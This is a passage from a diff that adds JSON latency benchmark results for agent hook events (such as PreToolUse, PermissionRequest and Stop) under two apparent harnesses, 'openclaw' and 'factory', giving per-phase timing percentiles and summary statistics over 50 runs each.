"e2eStddev": 2.9, + "e2eMin": 59.46, + "e2eMax": 72.46 + }, + "openclaw|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.73, + 65.94, + 69.16 + ], + "configLoad": [ + 0.54, + 0.59, + 0.78 + ], + "evaluate": [ + 0.16, + 0.19, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.38 + ], + "other": [ + 3.34, + 3.96, + 3.98 + ], + "e2e": [ + 65.21, + 70.53, + 74.12 + ] + }, + "e2eMean": 65.32, + "e2eStddev": 3.22, + "e2eMin": 59.83, + "e2eMax": 74.12 + }, + "openclaw|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 62.38, + 65.63, + 66.88 + ], + "configLoad": [ + 0.55, + 0.61, + 0.71 + ], + "evaluate": [ + 1.06, + 1.14, + 1.38 + ], + "encode": [ + 0.26, + 0.29, + 0.41 + ], + "other": [ + 3.37, + 4.02, + 4.04 + ], + "e2e": [ + 67.96, + 71.31, + 72.5 + ] + }, + "e2eMean": 67.14, + "e2eStddev": 2.95, + "e2eMin": 61.28, + "e2eMax": 72.5 + }, + "openclaw|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 60.97, + 65.45, + 68.14 + ], + "configLoad": [ + 0.54, + 0.59, + 0.8 + ], + "evaluate": [ + 0.31, + 0.34, + 0.42 + ], + "encode": [ + 0.25, + 0.28, + 0.37 + ], + "other": [ + 3.32, + 3.84, + 4.1 + ], + "e2e": [ + 65.08, + 69.81, + 72.75 + ] + }, + "e2eMean": 65.51, + "e2eStddev": 2.85, + "e2eMin": 60.72, + "e2eMax": 72.75 + }, + "openclaw|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.83, + 66.99, + 67.49 + ], + "configLoad": [ + 0.54, + 0.63, + 1.15 + ], + "evaluate": [ + 0.16, + 0.2, + 0.32 + ], + "encode": [ + 0.25, + 0.28, + 0.42 + ], + "other": [ + 3.34, + 3.94, + 4.26 + ], + "e2e": [ + 64.93, + 70.96, + 73.24 + ] + }, + "e2eMean": 65.58, + "e2eStddev": 3.53, + "e2eMin": 59.6, + "e2eMax": 73.24 + }, + "openclaw|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 60.98, + 64.52, + 67.69 + ], + "configLoad": [ + 0.54, + 0.57, + 0.57 + ], + "evaluate": [ + 0.57, + 0.61, + 0.63 + ], + "encode": [ + 0.26, + 0.29, + 0.3 + ], + "other": [ + 3.45, + 4.08, + 4.11 + ], + "e2e": [ + 65.81, + 70.02, + 71.98 + ] + }, + "e2eMean": 65.3, + "e2eStddev": 2.5, + "e2eMin": 60.05, + "e2eMax": 71.98 + }, + "openclaw|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.68, + 65.68, + 68.53 + ], + "configLoad": [ + 0.55, + 0.6, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.29, + 0.36 + ], + "other": [ + 3.38, + 3.9, + 3.93 + ], + "e2e": [ + 65.22, + 70.17, + 72.13 + ] + }, + "e2eMean": 65.33, + "e2eStddev": 2.85, + "e2eMin": 60.43, + "e2eMax": 72.13 + }, + "openclaw|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.91, + 66.43, + 67.15 + ], + "configLoad": [ + 0.53, + 0.59, + 1.02 + ], + "evaluate": [ + 0.16, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.22, + 3.81, + 4 + ], + "e2e": [ + 65.17, + 70.85, + 71.94 + ] + }, + "e2eMean": 65.09, + "e2eStddev": 2.77, + "e2eMin": 59.16, + "e2eMax": 71.94 + }, + "openclaw|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.33, + 64.44, + 66.54 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.37, + 3.84, + 3.86 + ], + "e2e": [ + 65.63, + 69.16, + 71.01 + ] + }, + "e2eMean": 65.59, + "e2eStddev": 2.51, + "e2eMin": 60.68, + "e2eMax": 71.01 + }, + "openclaw|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.2, + 67.08, + 77.24 + ], + "configLoad": [ + 0.55, + 0.6, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.29, + 3.85, + 4.15 + ], + "e2e": [ + 65.49, + 71.15, + 81.42 + ] + }, + "e2eMean": 65.72, + "e2eStddev": 3.81, + "e2eMin": 59.25, + "e2eMax": 81.42 + }, + "openclaw|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.19, + 66.95, + 70.22 + ], + "configLoad": [ + 0.54, + 0.61, + 0.61 + ], + "evaluate": [ + 0.16, + 0.2, + 0.26 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.21, + 3.78, + 3.84 + ], + "e2e": [ + 65.34, + 71.33, + 74.8 + ] + }, + "e2eMean": 66.03, + "e2eStddev": 3.34, + "e2eMin": 59.41, + "e2eMax": 74.8 + }, + "openclaw|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.67, + 67.91, + 70 + ], + "configLoad": [ + 0.55, + 0.63, + 0.74 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 3.33, + 3.97, + 4.08 + ], + "e2e": [ + 64.96, + 72.43, + 74.65 + ] + }, + "e2eMean": 65.7, + "e2eStddev": 3.3, + "e2eMin": 59.42, + "e2eMax": 74.65 + }, + "openclaw|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.38, + 66.29, + 73.15 + ], + "configLoad": [ + 0.54, + 0.61, + 0.84 + ], + "evaluate": [ + 0.16, + 0.19, + 0.26 + ], + "encode": [ + 0.25, + 0.35, + 0.38 + ], + "other": [ + 3.3, + 3.94, + 4.18 + ], + "e2e": [ + 65.73, + 71.95, + 77.57 + ] + }, + "e2eMean": 65.92, + "e2eStddev": 3.66, + "e2eMin": 59, + "e2eMax": 77.57 + }, + "openclaw|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.15, + 71.63, + 75.15 + ], + "configLoad": [ + 0.55, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.43, + 3.9, + 3.98 + ], + "e2e": [ + 65.77, + 76.27, + 78.99 + ] + }, + "e2eMean": 66.45, + "e2eStddev": 4.19, + "e2eMin": 59.6, + "e2eMax": 78.99 + }, + "openclaw|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.52, + 65.81, + 68.54 + ], + "configLoad": [ + 0.55, + 0.65, + 1.03 + ], + "evaluate": [ + 0.16, + 0.19, + 0.3 + ], + "encode": [ + 0.25, + 0.27, + 0.41 + ], + "other": [ + 3.43, + 3.97, + 4.16 + ], + "e2e": [ + 66.06, + 70.17, + 72.88 + ] + }, + "e2eMean": 65.97, + "e2eStddev": 2.77, + "e2eMin": 59.86, + "e2eMax": 72.88 + }, + "openclaw|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62, + 66.84, + 71.8 + ], + "configLoad": [ + 0.54, + 0.59, + 0.64 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.26, + 0.3 + ], + "other": [ + 3.44, + 3.89, + 4.01 + ], + "e2e": [ + 66.03, + 71.45, + 75.81 + ] + }, + "e2eMean": 66.35, + "e2eStddev": 3.19, + "e2eMin": 60.79, + "e2eMax": 75.81 + }, + "openclaw|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.78, + 65.29, + 66.53 + ], + "configLoad": [ + 0.54, + 0.6, + 0.83 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.35 + ], + "other": [ + 3.4, + 3.86, + 3.91 + ], + "e2e": [ + 65.26, + 69.6, + 71.1 + ] + }, + "e2eMean": 65.51, + "e2eStddev": 2.41, + "e2eMin": 60.95, + "e2eMax": 71.1 + }, + "openclaw|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.6, + 69.47, + 76.14 + ], + "configLoad": [ + 0.54, + 0.61, + 1 + ], + "evaluate": [ + 0.16, + 0.19, + 0.28 + ], + "encode": [ + 0.25, + 0.31, + 0.4 + ], + "other": [ + 3.39, + 4.02, + 4.12 + ], + "e2e": [ + 67.27, + 73.52, + 80.77 + ] + }, + "e2eMean": 67.24, + "e2eStddev": 3.67, + "e2eMin": 60.02, + "e2eMax": 80.77 + }, + "openclaw|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.54, + 63.93, + 66.39 + ], + "configLoad": [ + 0.54, + 0.62, + 0.66 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.34, + 3.78, + 3.89 + ], + "e2e": [ + 65.12, + 68.42, + 71.07 + ] + }, + "e2eMean": 64.94, + "e2eStddev": 2.25, + "e2eMin": 60.64, + "e2eMax": 71.07 + }, + "openclaw|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.19, + 66.06, + 79.12 + ], + "configLoad": [ + 0.54, + 0.6, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.23, + 3.76, + 4.2 + ], + "e2e": [ + 65.77, + 70.4, + 83.26 + ] + }, + "e2eMean": 65.91, + "e2eStddev": 3.78, + "e2eMin": 59.94, + "e2eMax": 83.26 + }, + "openclaw|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.86, + 68.33, + 71.71 + ], + "configLoad": [ + 0.54, + 0.6, + 0.76 + ], + "evaluate": [ + 0.16, + 0.2, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.26, + 3.79, + 3.83 + ], + "e2e": [ + 66.07, + 72.65, + 76.14 + ] + }, + "e2eMean": 66.44, + "e2eStddev": 3.23, + "e2eMin": 60.32, + "e2eMax": 76.14 + }, + "openclaw|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.48, + 66.86, + 69.36 + ], + "configLoad": [ + 0.55, + 0.62, + 0.73 + ], + "evaluate": [ + 0.17, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 3.24, + 3.84, + 3.88 + ], + "e2e": [ + 65.82, + 71.42, + 73.69 + ] + }, + "e2eMean": 66.06, + "e2eStddev": 2.59, + "e2eMin": 60.19, + "e2eMax": 73.69 + }, + "openclaw|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.94, + 65.19, + 68.97 + ], + "configLoad": [ + 0.54, + 0.6, + 0.74 + ], + "evaluate": [ + 0.16, + 0.2, + 0.27 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.16, + 3.86, + 3.91 + ], + "e2e": [ + 64.73, + 70.1, + 72.46 + ] + }, + "e2eMean": 65.29, + "e2eStddev": 2.8, + "e2eMin": 60.64, + "e2eMax": 72.46 + }, + "openclaw|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.29, + 68.3, + 73.06 + ], + "configLoad": [ + 0.55, + 0.59, + 0.72 + ], + "evaluate": [ + 0.16, + 0.19, + 0.25 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.31, + 3.84, + 4.06 + ], + "e2e": [ + 65.44, + 72.96, + 77.85 + ] + }, + "e2eMean": 66.03, + "e2eStddev": 3.72, + "e2eMin": 59.55, + "e2eMax": 77.85 + }, + "openclaw|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.35, + 68.05, + 71.46 + ], + "configLoad": [ + 0.54, + 0.58, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 3.18, + 3.87, + 4.04 + ], + "e2e": [ + 65.88, + 71.66, + 75.08 + ] + }, + "e2eMean": 65.63, + "e2eStddev": 3.22, + "e2eMin": 58.49, + "e2eMax": 75.08 + }, + "openclaw|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.91, + 65.24, + 66.01 + ], + "configLoad": [ + 0.54, + 0.58, + 0.63 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.33, + 3.89, + 3.97 + ], + "e2e": [ + 65.16, + 69.6, + 70.67 + ] + }, + "e2eMean": 65.1, + "e2eStddev": 2.71, + "e2eMin": 57.53, + "e2eMax": 70.67 + }, + "openclaw|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.88, + 66.64, + 69.25 + ], + "configLoad": [ + 0.54, + 0.58, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 3.4, + 3.83, + 3.9 + ], + "e2e": [ + 65.24, + 71.19, + 73.61 + ] + }, + "e2eMean": 65.69, + "e2eStddev": 2.92, + "e2eMin": 60.55, + "e2eMax": 73.61 + }, + "openclaw|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.81, + 68.01, + 68.38 + ], + "configLoad": [ + 0.55, + 0.6, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.22, + 3.93, + 3.96 + ], + "e2e": [ + 64.79, + 72.31, + 72.57 + ] + }, + "e2eMean": 65.28, + "e2eStddev": 3.05, + "e2eMin": 59.03, + "e2eMax": 72.57 + }, + "factory|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.36, + 65.6, + 68.58 + ], + "configLoad": [ + 0.54, + 0.62, + 0.85 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.32, + 3.92, + 4.21 + ], + "e2e": [ + 65.21, + 70.37, + 73.16 + ] + }, + "e2eMean": 65.31, + "e2eStddev": 3.09, + "e2eMin": 60.1, + "e2eMax": 73.16 + }, + "factory|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.16, + 66.11, + 67.94 + ], + "configLoad": [ + 0.54, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.2, + 3.78, + 3.94 + ], + "e2e": [ + 65.22, + 70.3, + 71.64 + ] + }, + "e2eMean": 65.3, + "e2eStddev": 3.23, + "e2eMin": 59.04, + "e2eMax": 71.64 + }, + "factory|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.96, + 65.09, + 68.7 + ], + "configLoad": [ + 0.54, + 0.59, + 0.63 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.39, + 3.89, + 3.96 + ], + "e2e": [ + 65.28, + 69.85, + 72.66 + ] + }, + "e2eMean": 65.19, + "e2eStddev": 2.83, + "e2eMin": 59.06, + "e2eMax": 72.66 + }, + "factory|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 60.4, + 65.74, + 68.72 + ], + "configLoad": [ + 0.54, + 0.61, + 0.65 + ], + "evaluate": [ + 1.06, + 1.11, + 1.44 + ], + "encode": [ + 0.26, + 0.3, + 0.41 + ], + "other": [ + 3.23, + 3.7, + 3.98 + ], + "e2e": [ + 65.4, + 70.76, + 73.92 + ] + }, + "e2eMean": 66.01, + "e2eStddev": 2.69, + "e2eMin": 60.89, + "e2eMax": 73.92 + }, + "factory|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 61.61, + 65.55, + 69.01 + ], + "configLoad": [ + 0.54, + 0.59, + 0.97 + ], + "evaluate": [ + 0.31, + 0.36, + 0.5 + ], + "encode": [ + 0.25, + 0.28, + 0.36 + ], + "other": [ + 3.52, + 4.11, + 4.19 + ], + "e2e": [ + 66.36, + 71.21, + 73.76 + ] + }, + "e2eMean": 65.73, + "e2eStddev": 3.05, + "e2eMin": 60.06, + "e2eMax": 73.76 + }, + "factory|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.43, + 68.67, + 69.92 + ], + "configLoad": [ + 0.54, + 0.61, + 0.63 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.35, + 3.98, + 4.23 + ], + "e2e": [ + 65.79, + 72.22, + 74.45 + ] + }, + "e2eMean": 65.92, + "e2eStddev": 3.03, + "e2eMin": 59.02, + "e2eMax": 74.45 + }, + "factory|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 61.22, + 65.11, + 66.89 + ], + "configLoad": [ + 0.54, + 0.6, + 0.62 + ], + "evaluate": [ + 0.57, + 0.61, + 0.62 + ], + "encode": [ + 0.26, + 0.28, + 0.3 + ], + "other": [ + 3.22, + 3.78, + 3.83 + ], + "e2e": [ + 65.72, + 70.16, + 72.01 + ] + }, + "e2eMean": 65.52, + "e2eStddev": 2.8, + "e2eMin": 60.84, + "e2eMax": 72.01 + }, + "factory|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.45, + 64.7, + 67.67 + ], + "configLoad": [ + 0.54, + 0.6, + 0.67 + ], + "evaluate": [ + 0.16, + 0.18, + 0.38 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.43, + 3.93, + 4.16 + ], + "e2e": [ + 65.79, + 69.1, + 71.63 + ] + }, + "e2eMean": 65.75, + "e2eStddev": 2.27, + "e2eMin": 60.79, + "e2eMax": 71.63 + }, + "factory|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.36, + 66.89, + 69.42 + ], + "configLoad": [ + 0.54, + 0.62, + 0.65 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.29, + 0.29 + ], + "other": [ + 3.25, + 3.88, + 4.3 + ], + "e2e": [ + 65.7, + 71.26, + 73.63 + ] + }, + "e2eMean": 66.04, + "e2eStddev": 2.82, + "e2eMin": 61.36, + "e2eMax": 73.63 + }, + "factory|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.76, + 65.12, + 66.79 + ], + "configLoad": [ + 0.54, + 0.61, + 1.07 + ], + "evaluate": [ + 0.16, + 0.19, + 0.45 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 3.33, + 3.95, + 3.96 + ], + "e2e": [ + 66.15, + 69.89, + 71.17 + ] + }, + "e2eMean": 65.74, + "e2eStddev": 2.75, + "e2eMin": 59.76, + "e2eMax": 71.17 + }, + "factory|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.46, + 67.8, + 70.21 + ], + "configLoad": [ + 0.54, + 0.63, + 1 + ], + "evaluate": [ + 0.17, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.11, + 3.79, + 4.04 + ], + "e2e": [ + 66.52, + 72.08, + 74.16 + ] + }, + "e2eMean": 66.85, + "e2eStddev": 3.23, + "e2eMin": 59.83, + "e2eMax": 74.16 + }, + "factory|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.42, + 67.59, + 68.18 + ], + "configLoad": [ + 0.55, + 0.62, + 0.7 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 3.29, + 3.88, + 4.07 + ], + "e2e": [ + 65.59, + 72.27, + 72.92 + ] + }, + "e2eMean": 65.52, + "e2eStddev": 3.53, + "e2eMin": 59.15, + "e2eMax": 72.92 + }, + "factory|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 79.08, + 118.49, + 148.25 + ], + "configLoad": [ + 0.87, + 1.34, + 3.94 + ], + "evaluate": [ + 0.26, + 0.36, + 0.37 + ], + "encode": [ + 0.41, + 0.5, + 0.95 + ], + "other": [ + 3.89, + 6.6, + 10.72 + ], + "e2e": [ + 84.75, + 126.95, + 154.29 + ] + }, + "e2eMean": 91.29, + "e2eStddev": 24.34, + "e2eMin": 60.35, + "e2eMax": 154.29 + }, + "factory|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.5, + 75.36, + 83.47 + ], + "configLoad": [ + 0.57, + 0.67, + 1.06 + ], + "evaluate": [ + 0.17, + 0.22, + 0.31 + ], + "encode": [ + 0.26, + 0.3, + 0.41 + ], + "other": [ + 3.36, + 4.14, + 4.41 + ], + "e2e": [ + 67.27, + 79.94, + 87.46 + ] + }, + "e2eMean": 68.94, + "e2eStddev": 5.95, + "e2eMin": 59.83, + "e2eMax": 87.46 + }, + "factory|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.57, + 66.94, + 74.29 + ], + "configLoad": [ + 0.54, + 0.59, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.42, + 4.03, + 4.14 + ], + "e2e": [ + 66.05, + 71.61, + 78.73 + ] + }, + "e2eMean": 66.14, + "e2eStddev": 3.34, + "e2eMin": 59.52, + "e2eMax": 78.73 + }, + "factory|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61, + 66.35, + 72.19 + ], + "configLoad": [ + 0.55, + 0.61, + 0.62 + ], + "evaluate": [ + 0.17, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.35 + ], + "other": [ + 3.41, + 3.79, + 3.99 + ], + "e2e": [ + 65.58, + 71, + 76.18 + ] + }, + "e2eMean": 65.89, + "e2eStddev": 3.4, + "e2eMin": 58.46, + "e2eMax": 76.18 + }, + "factory|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.34, + 65.28, + 67.2 + ], + "configLoad": [ + 0.54, + 0.61, + 0.82 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.37, + 3.95, + 4.02 + ], + "e2e": [ + 65.87, + 69.84, + 70.77 + ] + }, + "e2eMean": 65.77, + "e2eStddev": 2.71, + "e2eMin": 60.31, + "e2eMax": 70.77 + }, + "factory|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.04, + 64.41, + 69.48 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.33 + ], + "other": [ + 3.56, + 3.97, + 4 + ], + "e2e": [ + 65.47, + 68.83, + 74.29 + ] + }, + "e2eMean": 65.56, + "e2eStddev": 2.46, + "e2eMin": 61.05, + "e2eMax": 74.29 + }, + "factory|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.55, + 65.3, + 82.5 + ], + "configLoad": [ + 0.55, + 0.66, + 1.16 + ], + "evaluate": [ + 0.16, + 0.18, + 0.33 + ], + "encode": [ + 0.25, + 0.28, + 0.48 + ], + "other": [ + 3.43, + 3.84, + 4.76 + ], + "e2e": [ + 64.72, + 69.68, + 89.24 + ] + }, + "e2eMean": 65.37, + "e2eStddev": 4.43, + "e2eMin": 59.32, + "e2eMax": 89.24 + }, + "factory|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.85, + 65.52, + 72.72 + ], + "configLoad": [ + 0.54, + 0.6, + 1.04 + ], + "evaluate": [ + 0.16, + 0.18, + 0.3 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.24, + 4.06, + 4.09 + ], + "e2e": [ + 66.19, + 70.63, + 76.54 + ] + }, + "e2eMean": 65.66, + "e2eStddev": 3.57, + "e2eMin": 59.21, + "e2eMax": 76.54 + }, + "factory|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.53, + 66.57, + 69.86 + ], + "configLoad": [ + 0.54, + 0.6, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.36 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 3.27, + 3.8, + 3.92 + ], + "e2e": [ + 64.35, + 70.69, + 74.54 + ] + }, + "e2eMean": 65.37, + "e2eStddev": 3.32, + "e2eMin": 60.21, + "e2eMax": 74.54 + }, + "factory|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.34, + 65.48, + 66.9 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.43 + ], + "other": [ + 3.45, + 3.83, + 3.93 + ], + "e2e": [ + 64.84, + 70.04, + 71.35 + ] + }, + "e2eMean": 65.32, + "e2eStddev": 2.8, + "e2eMin": 60.1, + "e2eMax": 71.35 + }, + "factory|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.32, + 66.45, + 68.85 + ], + "configLoad": [ + 0.55, + 0.61, + 1.04 + ], + "evaluate": [ + 0.16, + 0.19, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.36, + 3.91, + 4.44 + ], + "e2e": [ + 65.89, + 70.75, + 73.29 + ] + }, + "e2eMean": 66.02, + "e2eStddev": 2.68, + "e2eMin": 60.02, + "e2eMax": 73.29 + }, + "factory|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.3, + 67.67, + 72.52 + ], + "configLoad": [ + 0.55, + 0.6, + 0.76 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.34 + ], + "other": [ + 3.33, + 3.88, + 4.06 + ], + "e2e": [ + 64.2, + 71.96, + 76.99 + ] + }, + "e2eMean": 65.19, + "e2eStddev": 3.6, + "e2eMin": 59.73, + "e2eMax": 76.99 + }, + "factory|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.15, + 67.33, + 73.4 + ], + "configLoad": [ + 0.53, + 0.58, + 0.64 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.26, + 3.83, + 4.06 + ], + "e2e": [ + 65.4, + 71.17, + 78.12 + ] + }, + "e2eMean": 65.73, + "e2eStddev": 3.38, + "e2eMin": 60.7, + "e2eMax": 78.12 + }, + "factory|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.34, + 72.03, + 75.9 + ], + "configLoad": [ + 0.55, + 0.85, + 1.12 + ], + "evaluate": [ + 0.16, + 0.19, + 0.32 + ], + "encode": [ + 0.25, + 0.3, + 0.42 + ], + "other": [ + 3.43, + 3.94, + 4.13 + ], + "e2e": [ + 66.91, + 76.31, + 80.87 + ] + }, + "e2eMean": 67.65, + "e2eStddev": 4.42, + "e2eMin": 60.24, + "e2eMax": 80.87 + }, + "factory|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.45, + 67.69, + 70.87 + ], + "configLoad": [ + 0.54, + 0.59, + 0.61 + ], + "evaluate": [ + 0.16, + 0.17, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.26, + 3.93, + 4.03 + ], + "e2e": [ + 64.66, + 72.69, + 75.66 + ] + }, + "e2eMean": 65.17, + "e2eStddev": 3.73, + "e2eMin": 58.46, + "e2eMax": 75.66 + }, 